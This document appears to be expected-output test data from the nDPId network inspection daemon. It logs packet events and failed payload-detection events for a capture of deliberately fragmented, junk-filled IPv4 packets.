+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4413,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":953921,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPEAGRXUKAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4413,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4414,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":953928,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPkAGRXMKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4414,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4415,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":953939,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQEAGRXEKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4415,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4416,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":953947,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQkAGRW8KAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4416,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4417,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":953955,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgREAGRW0KAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4417,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4418,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":953963,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgRkAGRWsKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4418,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4419,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":953971,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSEAGRWkKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4419,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4420,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":953979,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSkAGRWcKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4420,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4421,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":953988,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTEAGRWUKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4421,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4422,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":953998,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTkAGRWMKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4422,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4423,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954006,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUEAGRWEKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4423,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4424,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954015,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUkAGRV8KAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4424,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4425,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954023,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVEAGRV0KAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4425,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4426,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954032,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVkAGRVsKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4426,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4427,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954040,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWEAGRVkKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4427,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4428,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954047,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWkAGRVcKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4428,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4429,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954054,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXEAGRVUKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4429,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4430,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954061,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXkAGRVMKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4430,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4431,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954072,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYEAGRVEKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4431,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4432,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954080,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYkAGRU8KAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4432,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4433,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954088,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZEAGRU0KAAACCoAAAj83NDgzOTYpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4433,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4434,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954096,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZkAGRUsKAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4434,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4435,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954103,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgaEAGRUkKAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4435,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4436,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954110,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgakAGRUcKAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4436,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4437,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954117,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbEAGRUUKAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4437,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4438,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954125,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbkAGRUMKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4438,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4439,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954134,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgcEAGRUEKAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4439,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4440,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954150,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgckAGRT8KAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4440,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4441,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954161,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdEAGRT0KAAACCoAAAjEpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4441,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4442,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954168,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdkAGRTsKAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4442,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4443,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954176,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgeEAGRTkKAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4443,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4444,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954219,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgekAGRTcKAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4444,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4445,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954232,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfEAGRTUKAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4445,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4446,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954242,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfkAGRTMKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4446,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4447,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954249,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggEAGRTEKAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4447,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4448,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954257,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggkAGRS8KAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4448,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4449,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954265,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghEAGRS0KAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4449,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4450,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954272,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghkAGRSsKAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4450,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4451,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954282,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgiEAGRSkKAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4451,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4452,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954290,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgikAGRScKAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4452,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4453,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954297,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjEAGRSUKAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4453,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4454,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954304,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjkAGRSMKAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4454,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 